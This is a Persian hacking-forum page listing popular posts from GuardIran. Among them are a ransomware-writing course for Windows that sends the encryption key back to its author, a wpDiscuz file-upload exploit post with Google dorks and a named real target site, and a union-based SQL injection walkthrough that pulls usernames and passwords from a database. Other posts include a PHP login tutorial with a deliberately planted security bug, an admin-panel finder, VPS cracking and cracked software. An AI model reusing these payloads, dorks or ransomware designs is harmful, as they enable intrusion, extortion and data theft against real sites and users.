discord icon
سرور دیسکورد گاردایران

پرچمداران

  1. MR.MSA

    MR.MSA

    کاربر فعال


    • امتیاز

      12

    • تعداد ارسال ها

      484


  2. SRX

    SRX

    کاربر فعال


    • امتیاز

      10

    • تعداد ارسال ها

      186


  3. Nightmare

    Nightmare

    کاربر تازه وارد


    • امتیاز

      5

    • تعداد ارسال ها

      25


  4. sparta

    sparta

    کاربر تازه وارد


    • امتیاز

      4

    • تعداد ارسال ها

      79



مطالب محبوب

در حال نمایش مطالب دارای بیشترین امتیاز در چهارشنبه, 20 اسفند 1399 در همه بخش ها

  1. 9 امتیاز
    با سلام خدمت دوستان عزیز امروز میخوایم باهم یک صفحه ورود بدون داشتن دیتابیس بسازیم که در کنارش صفحه ثبت نام هم موجوده و کاربران میتونن ثبت نام کنن. نوشتن صفحه ثبت نام: قدم اول :خب قدم اول توی نوشتن صفحه ثبت ناممون کد های html هست که یک فایل با نام register.php بسازید و کد های زیر رو قرار بدید: <!DOCTYPE html> <html> <head> </head> <body> <form method="post"> Username: <input type="text" name="username"> <br><br> Password: <input type="password" name="password"> <br><br> Confirm password: <input type="password" name="confirm_password"> <br><br> Email: <input type="email" name="email"> <br><br> <input type="submit" name="register" value="register"> </form> </body> </html> در اینجا چهار input داریم که شامل نام کاربری، رمز عبور ، تکرار رمز عبور و ایمیل میشه و در نهایت یک دکمه ثبت نام. قدم دوم : یک فایل با نام users.php بسازید و این کد رو خط اول قرار بدید: <?php die('403'); ?> خب در فایل users.php اطلاعات کاربران اعم از username و password و email قرار میگیره که از تابع die اول کدمون استفاده کردیم که اگر یک نفر این فایل رو توی سایت اجرا کرد خطای 403 بگیره. قدم سوم: حالا برمیگردیم به فایل register.php که کد های php اونو بزنیم یعنی: <?php if (isset($_POST['register'])) { if (!$_POST['username']==''&&!$_POST['password']==''&&!$_POST['confirm_password']==''&&!$_POST['email']==''){ // check confirm password if ($_POST['password']==$_POST['confirm_password']) { // add user // open file (file handle) $fh = fopen('users.php','a'); // set user data $user = 'USERNAME:'.md5(sha1($_POST['username'])).',PASSWORD:'.md5(sha1($_POST['password'])).',EMAIL:'.base64_encode($_POST['email'])."\n"; // write user information fwrite($fh,$user); // close users file fclose($fh); } }else{ echo '<p style="color:red">Please answer all options.</p>'; } خط ۲ : از if استفاده کردیم برای بررسی اینکه کاربر دکمه register رو کلیک کرده یا نه خط ۴ : بررسی کردیم که ایا تمام ایپویت ها رو وارد کرده کاربر یا نه خط ۶ : بررسی کردیم که آیا رمز عبود و تکرار رمز عبور دقیقا یکی هست یا نه اگه آره که بریم سراغ اضافه کردن کاربر خط ۱۰ : وارد فایل users.php که قبلا ساختیم میشیم و میشه file handle ما خط ۱۳ : توی متغیر user اطلاعات کاربر رو قرار میدم یعنی نام کاربری ، رمز عبود و ایمیل که نام کاربری و رمز عبود به صورت هش شده و ایمیل به صورت encode قرار میگیره. خط ۱۶ : با تابع fwrite در آخر فایل users.php متغیر user رو اضافه میکنیم. خط ۱۹ : فایل users.php رو میبندیم خط ۲۲ و ۲۳ : نمایش خطا زمانی که تمام اینپوت ها رو کاربر وارد نکرده که میشه else شرطمون (خط ۴) کد نهایی: <!DOCTYPE html> <html> <head> </head> <body> <form method="post"> Username: <input type="text" name="username"> <br><br> Password: <input type="password" name="password"> <br><br> Confirm password: <input type="password" name="confirm_password"> <br><br> Email: <input type="email" name="email"> <br><br> <input type="submit" name="register" value="register"> </form> </body> </html> <?php if (isset($_POST['register'])) { if (!$_POST['username']==''&&!$_POST['password']==''&&!$_POST['confirm_password']==''&&!$_POST['email']==''){ // check confirm password if ($_POST['password']==$_POST['confirm_password']) { // add user // open file (file handle) $fh = fopen('users.php','a'); // set user data $user = 'USERNAME:'.md5(sha1($_POST['username'])).',PASSWORD:'.md5(sha1($_POST['password'])).',EMAIL:'.base64_encode($_POST['email'])."\n"; // write user information fwrite($fh,$user); // close users file fclose($fh); } }else{ echo '<p style="color:red">Please answer all options.</p>'; } } نوشتن صفحه ورود: قدم اول: یک فایل با نام login.php بسازید و کد های html زیر رو قرار بدید: <!DOCTYPE html> <html> <head> </head> <body> <form method="post"> Username: <input type="text" name="username"> <br><br> Password: <input type="password" name="password"> <br><br> <input type="submit" name="login" value="login"> </form> </body> </html> (اگه دوست داشته باشید میتونید بهش استایل هم بدید ولی برای اینکه آموزش طولانی نشه ما اینکارو نمیکنیم) قدم دوم : کد های php: <?php if (isset($_POST['login'])&&isset($_POST['username'])&&isset($_POST['password'])) { $file_handle= fopen('users.php','r'); $users=fread($file_handle,filesize('users.php')); $users=explode("\n",$users); $user_id=''; for ($i=0;$i<count($users)-1;$i++) { // check username if (strstr($users[$i],md5(sha1($_POST['username'])))) { $user_id .= $users[$i]; // check password if (strstr($user_id,md5(sha1($_POST['password'])))) { $login='true'; } } } if (isset($login)&&$login=='true') { $user_email = str_replace('USERNAME:'.md5(sha1($_POST['username'])).',PASSWORD:'.md5(sha1($_POST['password'])).',EMAIL:','',$user_id); session_start(); $_SESSION['login']='true'; $_SESSION['name']=$_POST['username']; $_SESSION['email']=base64_decode($user_email); header('Location: panel.php'); exit; }else{ echo '<p style="color:red;">username and password is wrong!</p>'; } } خب به صورت کلی بخوایم توضیح بدیم که چه اتفاقی افتاده میگیم که اول چک میکنه که ایا username,password ارسال شده یا نه بعد میاد فایل users.php رو باز میکنه با mode خواندن یا read بعد متغیر users رو مساوی با داده های فایل users.php قرار میده حالا میایم دوباره متغیر users رو تعریف میکنیم و با استفاده از تابع explode هر اینتری که توی فایل هست(میشه همون متغیر users) رو توی یک اندیس ارایه قرار میدم. یک متغیر user_id هم تعریف میکنیم چون بعدا ازش میخوایم استفاده کنیم خطای undefined var نده بهمون توی for میایم روی اندیس های آرایه users کار میکنیم و با یک if دونه دونه یوزر ها رو بررسی میکنیم با هش شده ی یوزرنیمی که برامون ارسال شده بعد اگر درست بود یعنی اون اندیس یا همون خط، اطلاعات یوزر ما هست که قرارش میدیم توی user_id و البته از .= که استفاده کردیم به این معنیه : $user_id = $user_id + $users[$i]; که اگر از قبل user_id رو تعریف نمیکردیم خطا میداد و دلیل اینکه از .= استفاده کردیم این بود که قراره توی بخش های بعد ازش استفاده کنیم. خب بعد اومدیم دوباره با یک if بررسی کردیم و با تابع strstr چک کردیم که آیا پسورد (به صورت هش شده) وجود داره توی اون اندیس یا نه در واقع پسورد رو بررسی میکنیم. و اگر درست بود میایم متغیر لاگین رو مساوی با true قرار میدیم که یعنی این شخص لاگینش انجام شده. جلوتر میایم میگیم اگر login شده بود بیا توی این شرط که اول میایم ایمیل رو از اون user خارج میکنیم و میزاریم توی متغیر email که روش های مختلفی میشه این کارو انجام داد ولی من از str_replace استفاده کردم حتی از explode هم میشه استفاده کرد و... در نهایت session رو استارت کردیم و session ها رو ست کردیم که من اومدم name رو مساوی با یوزر نیم و email رو مساوی با ایمیل شخص (با توجه به یوزرنیم و پسوردی که وارد کرده) به صورت دیکد قرار دادم. و هدر کردم به پنل که شما میتونید این قسمتش رو با توجه به کاری که میخواید انجام بدید تغییر بدید. و یک else هم داریم برای زمانی که یوزر و پسورد اشتباه هست ارور بده. کد نهایی پیج لاگین: <!DOCTYPE html> <html> <head> </head> <body> <form method="post"> Username: <input type="text" name="username"> <br><br> Password: <input type="password" name="password"> <br><br> <input type="submit" name="login" value="login"> </form> </body> </html> <?php if (isset($_POST['login'])&&isset($_POST['username'])&&isset($_POST['password'])) { $file_handle= fopen('users.php','r'); $users=fread($file_handle,filesize('users.php')); $users=explode("\n",$users); $user_id=''; for ($i=0;$i<count($users)-1;$i++) { // check username if (strstr($users[$i],md5(sha1($_POST['username'])))) { $user_id .= $users[$i]; // check password if (strstr($user_id,md5(sha1($_POST['password'])))) { $login='true'; } } } if (isset($login)&&$login=='true') { $user_email = str_replace('USERNAME:'.md5(sha1($_POST['username'])).',PASSWORD:'.md5(sha1($_POST['password'])).',EMAIL:','',$user_id); session_start(); $_SESSION['login']='true'; $_SESSION['name']=$_POST['username']; $_SESSION['email']=base64_decode($user_email); header('Location: panel.php'); exit; }else{ echo '<p style="color:red;">username and password is wrong!</p>'; } } نکته:‌ دوستان عزیز توی پیج ریجستر یک باگ خطرناک داریم که به شکل یک چالش میتونید بهش نگاه کنید، اگر دوستان تمایل داشتید در پایین تاپیک باگ رو ارائه بدید و همچنین نحوه پچ کردنش چون احتملا تا چند روز دیگه ادامه تاپیک نحوه بستن آسیب پذیری و نحوه استفاده از اون رو گداشتیم و یکم ریزه کاری پیج لاگین. موفق و پیروز باشید.
  2. 7 امتیاز
    سلام جلسه اول از دوره باج افزار نویسی پایتون در این جلسه با تابع Fernet از کتابخانه Cryptography آشنایی پیدا می کنیم و خیلی ابتدایی نحوه انکریپت و دیکریپت کردن متن و یک فایل رو توضیح میدیم. (فعلا برای شروع) فایل ها پیوست می شوند، پسورد فایل زیپ: guardiran.org دو ویدیو داریم، در ویدیو اول روی یک متن کار می کنیم. و در ویدیو دوم روی عکس نمایه من! اگر هرجا مشکلی داشتید شخصی بگید تا کمکتون کنم. جلوی هر خط کد، کاری که می کنه رو به صورت کامنت نوشتم تا هیچ مشکلی نباشه. جلسه اول، ویدیو اول: انکریپت و دیکریپت کردن یک متن 1.mp4 در صورتی که کامل ویدیو اول رو متوجه شدید، ویدیو دوم رو تماشا کنید، درغیر اینصورت چیزی ازش متوجه نمیشوید! جلسه اول، ویدیو دوم: انکریپت و دیکریپت کردن عکس نمایه بنده! 1.2.mp4 موفق باشید🌷guardiran.org دانلود مستقیم(guardiran.org) لینک کمکی(guardiran.org)
  3. 5 امتیاز
    سلام دوستان. برخی از دوستان به ابزاری برای برای برداشتن پسوورد فایل های pdf نیاز داشتن. بنده میخوام ابزار Wondershare PDF Password Remover رو به شما معرفی کنم. این ابزار به شما کمک میکنه که به راحتی آب خوردن پسوورد فایل های pdf رو بردارین چون که بعضی از فایل های pdf اجازه کپی متن رو به شما نمیدن. شما میتونید این ابزار رو از سایت اصلی یعنی اینجا اون دانلود کنید. اگر از نسخه رایگان این نرم افزار استفاده کنید حداکثر میتونید پسوورد 6 صفحه رو بردارید. این ابزار رو شما میتونید از سایت های ایرانی دانلود کنید که کرکش رو هم قرار دادند. کار با این نرم افزار هم همونطور که گفتم اصلا کاری نداره همین که واردش بشید به راحتی میتونید از اون استفاده کنید. امیدوارم براتون مفید باشه. خدانگهدار 🌹
  4. 4 امتیاز
  5. 3 امتیاز
    به نام خدا عرض سلام و خسته نباشید خدمت همگی دوستان و کاربران محترم. با عنایت خدا قراره که یه دوره باج افزار نویسی برای سیستم عامل ویندوز رو با زبان شیرین پایتون شروع کنیم. عزیزانی که می خوان تو این دوره با من همراه باشند باید به زبان پایتون تسلط کافی داشته باشند. دوره به دو بخش تقسیم میشه. 1- طراحی اسکلت باج افزار میایم یه باج افزار می نویسیم که فقط یه لیستی از پسوند ها رو انکریپت کنه، و کلید رو برای ما بفرسته، به همراه یه فایل دیکرپتور ساده. 2- ارتقا باج افزار نوشته شده کم کم این باج افزار خام رو ارتقا میدیم و اون رو تقویت می کنیم. پیشنیاز ها: 1- تسلط کامل بر روی زبان برنامه نویسی پایتون 2- آشنایی جزئی با ویندوز (اختیاری) 3- یک ویندوز مجازی موارد نصبی 1- پایتون3 2- ادیتور (بنده از VScode استفاده میکنم) اگر با ریجستری ویندوز آشنایی داشته باشید، کار تون در قسمت دوم دوره خیلی راحت میشه. در قسمت اول، از کتابخونه Cryptography استفاده میشه، اما اگر خدا بخواد تو قسمت دوم رمزنگاری پیچیده تر RSA رو پیاده سازی می کنیم. قوانین تاپیک 1- هیچ احدی، از ادمین گرفته تا کاربر تازه وارد، بدون هماهنگی در تاپیک پست نگذارید. 2- سوالات در این تاپیک پرسیده نمی شوند. برای پرسش سوال کلیک کنید. 3- در صورت داشتن سوال شخصی، انتقاد یا کمک در این زمینه کلیک کنید و پیام شخصی ارسال کنید. این جلسه: معرفی دوره + یک نمونه عملی: Guardiran.mp4 رفع مسئولیت تمام مسئولیت های استفاده از باج افزار بر عهده خود فرد میباشد و اینجانب هیچ گونه مسئولیتی در قبال استفاده نادرست از این بدافزار را ندارم و هرگونه پاسخگویی به ادعاهای مطرح شده توسط اشخاص حقیقی و حقوقی با منتشر کننده(بنده) است و تیم امنیتی گاردایران هیچگونه مسئولیتی نسبت به آن ندارد. تاپیک خیلی طولانی شده. میتوانید از فهرست برای پیدا کردن مطالب استفاده کنید. فهرست مطالب: قسمت اول - ویدیو معرفی قسمت اول - جلسه اول قسمت اول - جلسه دوم قسمت اول - جلسه سوم قسمت اول - جلسه چهارم ـــــــــــــــــــــــــــــــــــــــــ قسمت دوم - جلسه اول قسمت دوم - جلسه دوم قسمت دوم - جلسه سوم (جدید) مدت زمان دوره تا الان: 06 : 48 : 2 موفق باشید🌹
  6. 2 امتیاز
    سلام علاوه بر موردی که اشاره شد، ProxyChains هم همین کار رو میکنه. پروکسی چین خیلی منعطف هم هست. چرا که بوسیله پروکسی چین هم میتونید از Tor استفاده کنید و هم میتونید اگه پروکسی ای از جایی پیدا کردید اضافه کنید. آموزش Proxychains هم داخل سایتای ایرانی و هم خارجی خیلی هست.
  7. 2 امتیاز
    git clone https://github.com/SusmithKrishnan/torghost.git cd torghost chmod +x build.sh ./build.sh از فردا هر اسپمی ببینم بن میکنم.
  8. 1 امتیاز
    parsa_full

    ارتقا کاربر proxy

    منم بهتون تبریک میگم
  9. 1 امتیاز
    mat

    ارتقا کاربر proxy

    تبریک
  10. 1 امتیاز
    MrExploit

    آموزش Unreal Engine v4

    سلام دوستان معذرت میخوام به خاطر اینکه یه چند روزی نتونستم بیام انجمن امروز گفتم که بیام و جلسه اول رو ضبط کنم توی یوتیوب قرار میگیره ولی جهت راحتی ، شما میتونید از سایت yt1s.com لینک ویدیو هارو وارد کنید تا بتونید اون رو بدون نیاز به قندشکن دانلود کنید جلسه اول رکورد شده و فقط مونده ادیتش به محض قرار گرفتن ویدیو در یوتیوب ، در این تاپیک اعلام میکنم
  11. 1 امتیاز
    MrExploit

    آموزش Unreal Engine v4

    سلام به همه دوستان گارد ایرانی من امروز صبح رفتم توی وب سایت های آموزشی ایرانی و متاسفانه فهمیدم کلا صنعت بازی سازی اهمیتی نداشت توی این وب سایت ها شاید خیلیا تا بحال به فکر این افتادن که چطور بازی بسازن 😐 توی این دوره از صفر تا صد موتور بازی سازی آنریل انجین آموزش داده میشه ! از آنریل میتوان علاوه بر بازی سازی ، در ساخت انیمیشن ، تیزر و غیره نیز استفاده کرد این دوره به صورت تصویری همراه با صوت قرار میگیره توجه !!!!! این دوره به صورت رایگان و فقط در انجمن گارد ایران گذاشته شده و هرگونه فروش آن غیر قانونی میباشد ! 😐 در صورتی که حرفی دارید برای زدن لطفا توی پیام خصوصی در انجمن و یا دیسکورد ارسال کنید و تاپیک منو خراب نکنید ! با تشکر از همه دوستان
  12. 1 امتیاز
    با سلام این باگ در بخش نظرات امکان آپلود فایل را فراهم میکند Vuln Verion : 7.0.0 - 7.0.4 Dork : inurl:"/wp-content/plugins/wpdiscuz/" index of "/wp-content/plugins/wpdiscuz/" چون سایتهای وردپرسی اکثرا مسیر wp-content رو disallow کردن پس ممکنه با این دورک نتونید تارگت زیادی پیدا کنید برای همین از دورک زیر استفاده کنید و بعد چک کنید ببینید این پلاگین رو داره یا خیر site:.com/robots.txt intext:"Disallow: /wp-content/" بعد از آپلود فایل ، فایل در مسیر زیر قرار میگیره /wp-content/uploads/2021/03/ /wp-content/uploads/ماه/سال/ نمونه تارگت https://singxsing.com/lyrics/39/%e4%b8%96%e4%b8%8a%e5%8f%aa%e6%9c%89 اکسپلویت https://www.exploit-db.com/exploits/49401 موفق باشید
  13. 1 امتیاز
    MrExploit

    آموزش Unreal Engine v4

    متاسفانه به دلیل محدودیتی که توی آپلود در انجمن وجود داره نمیتونم ویدیو هارو توی انجمن آپلود کنم ! به همین دلیل ویدیو ها توی یوتیوب آپلود میشه و لینک اون توی همین تاپیک قرار میگیره
  14. 1 امتیاز
    خب قسمت دوم رو شروع کنیم چیز زیادی نمونده فقط خارج کردن اطلاعات از تیبل هستش و بعد میریم سراغ mysql ورژن 4 به پایین و blind sql injection و آموزش پچ کردن برای دیدن ستون ها میتونیم از جدول columns استفاده کنیم که به این صورت هستش دقت کنید بعد از نقطه information_schema اسم تیبل نوشته میشه http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,column_name from information_schema.columns--+ و بدین صورت فیلتر می کنیم تا اطلاعات فقط از تیبلی که میخوایم نمایش داده بشه http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,column_name from information_schema.columns where table_name='login'--+ بین '' اسم ستون رو مینویسیم تا mysql با جدول اشتباه نگیره و حالا ما تمام اطلاعات رو داریم و فقط کافیه به این صورت اطلاعات رو از جدول بیرون بکشیم http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,password) from login--+ حالا میتونیم هر کد html ایی که دلمون بخواد رو تزیق کنیم تا زیبا تر نمایش داده به بشن خب من میخوام بین user و password ---> بزارم و در پایان هم بگم هر لاین رو بشکن برای همین از کد های html زیر استفاده میکنم ولی برای این که mysql بفهمه که اینی که دارم مینویسم در واقع نام یک ستون نیست باید کد هارو به hex تبدیل کنم و بین هرجا که میخوام بزارم و البته باید با , هر ورودی رو جدا کنیم که به صورت زیر هستش <span style="color:red">----></span> <br> ----------- http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,0x3C7370616E207374796C653D22636F6C6F723A726564223E2D2D2D3E3C2F7370616E3E,password,0x3C62723E) from login-- که میتونیم با استفاده از توابع hex و unhex هم کار خودمون رو راحت تر کنیم که به این صورت هستش http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,unhex(hex('<span style="color:red">----></span>')),password,unhex(hex('<br>'))) from login-- * از group_concat برای متصل کردن چندین رشته به هم استفاده میشه در mysql ورژن 5 به پایین تمامی مراحلی که با دیتابیس information_schema کار می کنیم حذف میشن و باید خودمون حدس بزنیم که به این صورت هستش http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,3 from login--+ به جای login باید اسم تیبلی که حدس زدیم رو بنویسم و به این صورت هم باید اسم ستون رو حدس http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,user from login--+ که به جای user باید اسم ستونی که حدس زدیم رو بنویسیم تمام شد فقط یک سری نکات اضافی وجود داره که میگم : به جای --+ میتونیم از /* استفاده کنیم و به جای کد های hex میتونیم از کاراکتر های ascii استفاده کنیم مثلا به این صورت http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,group_concat(user,char(045),char(045),char(062),password,char(045)) from login--+
  15. 1 امتیاز
    خب تاپیک رو شروع کنیم ببینیم تا کجا میریم بعد از دانلود GuardIran Vulnerable WebApp به پوشه ایی که ریختیدش برید و بعد پوشه includes رو باز کنید و فایل sql.php رو در ادیتور دلخواهتون باز کنید در مرورگر هم بعد از روشن کردن apache و mysql به آدرس localhost/name of your file برید . خب حالا شروع میکنیم : ببینید آسیب پذیری sql injection درحال حاضر فراگیر ترین آسیب پذیری موجود هستش و این آسیب پذیری فقط مخصوص php نیست و در زبان های دیگه مثل java هم رخ میده و نفوذ کردن هم متود های خیلی زیادی داره مثل Union Based , Time Delay Based , Boolean Based , Error Based و ... که من در این تاپیک نمی تونم به همش بپردازم چون که میشه صرفا آموزش نفوذ و برادران فیلترینگ تاپیک رو فیلتر می کنن ولی بعد از این تاپیک احتمالا آموزش کامل sql injection رو در بخش VIP بذارم اما چیزی که امروز یاد میگیریم روش union based هستش . اگر که در فایل sql.php به خط 40 برید با کد زیر مواجه میشید $id = $_GET["id"]; if (isset($_GET['id'])){ $conn = new mysqli($_sv, $_user, $_pass, "GIVuln"); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "SELECT id, user, email FROM login WHERE id='$id'"; $res = $conn->query($sql); if ($res->num_rows > 0) { while($row = $res->fetch_assoc()) { echo "<h3 class='text-center'style='color:#FFF;'>You Can Contact Me By This Email :<br/>" . $row['email'] . "</h3>"; } } else { echo "0 results"; } $conn->close(); همینطوری که می بینید در اینجا ما id رو توسط متود get از یوزر دریافت و با استفاده از query زیر id مربوط به یوزری که در دیتابیس هست رو پیدا و ایمیل مربوطه رو نمایش میدیم SELECT id, user, email FROM login WHERE id='$id' خب ما هیچ فیلتری انجام ندادیم و به یوزر خودمون به صورت کامل اطمینان کردیم اما اگر یوزر ما یک نفوذ گر باشه میاد و صفحرو با گذاشتن یک ' و " تست می کنه و query ما به شکل زیر در میاد SELECT id, user, email FROM login WHERE id='$id'' خب میبینید که یک ' باز و بسته شده ولی دیگری بسته نشده برای همین mysql به ما ارور رو نشون میده و بدین صورت نفوذگر میفهمه که صفحه اسیب پذیر هستش و حالا باید با استفاده از یک روش ارور رو برطرف کنه بطوری که بتونه query خودش هم که میخواد اجرا شه رو در اون قرار بده برای همین منظور میاد از دستور union استفاده می کنه که این دستور میاد و به mysql میگه SELECT id, user, email FROM login WHERE id='$id' این کد رو اجرا کن و در کنارش کد من هم اجرا کن ولی قبلش باید ارور رو برطرف کنه برای همین ما میایم با استفاده از --+ و /+ بقیه کد رو کامنت میکنیم تا ارور نگیریم اما حالا ما نیاز داریم که بفهمیم که من در دستورم از چند کالومن استفاده کردم شما توی دستور بالا می بینید که 3 تا هستش ولی ما باید خودمون تست کنیم و این رو پیدا کنیم برای همین میایم از دستور order by استفاده می کنیم این دستور میگه که mysql نتایج رو بر اساس کالومن شماره فلان مرتب کن اما نتایج در صفحه برای شما ظاهر نمی شه ولی در واقع داره پشت صفحه در محیط mysql اجرا میشه و وقتی از تعداد کالومن های مورد استفاده برنامه نویس بیشتر شد ارور میده و میگه که من بیشتر از این کالومن ندارم که بخوام به شما نشون بدم به اینصورت ما میفهمیم که صفحه چند کالومن داره که اجرای order by به شکل زیر هستش http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 1--+ اروری دریافت نشد :( http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 2--+ اروری دریافت نشد :( http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 3--+ اروری دریافت نشد :( http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' order by 4--+ ارور دریافت شد :) خب صفحه میگه من چهار تا کالومن ندارم که به شما نشون بدم برای همین میفهمیم که از 3 کالومن استفاده شده حالا باید با استفاده از دستور union select بفهمیم که برنامه نویس داره از کدوم کالومن استفاده می کنه که دستورات به شکل زیر هستش ولی خب الزامی نیست که ما 1و2و3و... وارد کنیم میتونیم هرچیزی دلمون خواست وارد کنیم مثلا a,b,c http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,3-- متاسفانه در بین دوستانی که آموزش میدن یک باور غلطی وجود داره و اون اینه که میگن union select کالومن یا ستون آسیب پذیر رو نشون میده ولی نه در واقع اینطور نیست بلکه این دستور میاد زیر هرکدوم از ستون ها اون چیزی که مانوشتیم رو مینویسه و فقط اونی به ما نشون داده میشه که برنامه نویس در اسکریپت ازش استفاده کرده اگر به سورس صفحه دقت کنید من فقط گفتم که email رو نشون بده و در query ایمیل من به عنوان ستون شماره سوم انتخاب شده و قاعدتا شماره 3 برای من نمایش داده میشه خب حالا من میتونیم در شماره 3 اون چیزی رو که میخوام بهم نشون بده رو بنویسم یعنی بگم جداول رو به من نشون بده اما من که اسم دیتابیس رو نمی دونم برای همین میام از تابع database() استفاده می کنم و می نویسم http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,database()-- که برای شما باید givuln رو نمایش بده حالا اسم دیتابیس رو فهمیدم ولی اسم جدول رو نمیدونم اما این رو میدونم که در mysql ورژن 5 به بالا در دیتابیس information_schema جدولی وجود داره به اسم tables که تمامی جدول ها در اون ذخیره میشن برای همین میام با استفاده از دستور union به دیتابیس میگم که تمامی اطلاعات ستون table_name (ستونی هستش که در اون نام تیبل ها نوشته شده)از اون اون جدول رو به من نشون بده جایی که table_schema(ستونی که در اون نام دیتابیس هستش) برابر باشه با دیتابیس خودمون که به این شکل هستش http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,table_name from information_schema.tables where table_schema=database()--+ که در اینجا بعد از نقطه نام جدول و در شماره 3 مینویسم table_name تا اطلاعات اون به من نمایش داده بشن. الان به دو روش میتونید کار کنید یا همینطوری بگردید دنبال اسم جدول یا با استفاده از دستور limit دونه دونه چک کنید که به شکل زیر هستش http://127.0.0.1/king.coder/?vuln=sql_injection&id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1--+ که این دستور به این صورت عمل می کنه که اول شماره خروجی رو تایین می کنیم و بعد تعداد اطلاعاتی که میخوایم بعد از هر بار زدن برای ما نمایش داده بشه ادامه در پست بعد ...
  16. 1 امتیاز
    و باز هم درود. خب قصد دارم یه ادمین فایندر که همین تازگی ساختم رو بزارم همراه خود اسکریپت یه فایل تکست هم وجود داره که 2300 خط لینک های احتمالی ادمین رو داره و باید این فایل و اسکریپت تو یه فولدر باشن خودتون هم میتونین اضافه کنین به لیست لینک ها admin.py link.txt
  17. 1 امتیاز
    sezar1370

    هک vps ها

    کرک vps میشه آموزش هم تو سایت هست ip+user+pw میدین اسکن انجام میده براتون اینم لینک آموزش http://guardiran.org/forums/topic/2524-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%AA%D8%B5%D9%88%DB%8C%D8%B1%DB%8C-%DA%A9%D8%B1%DA%A9-vps/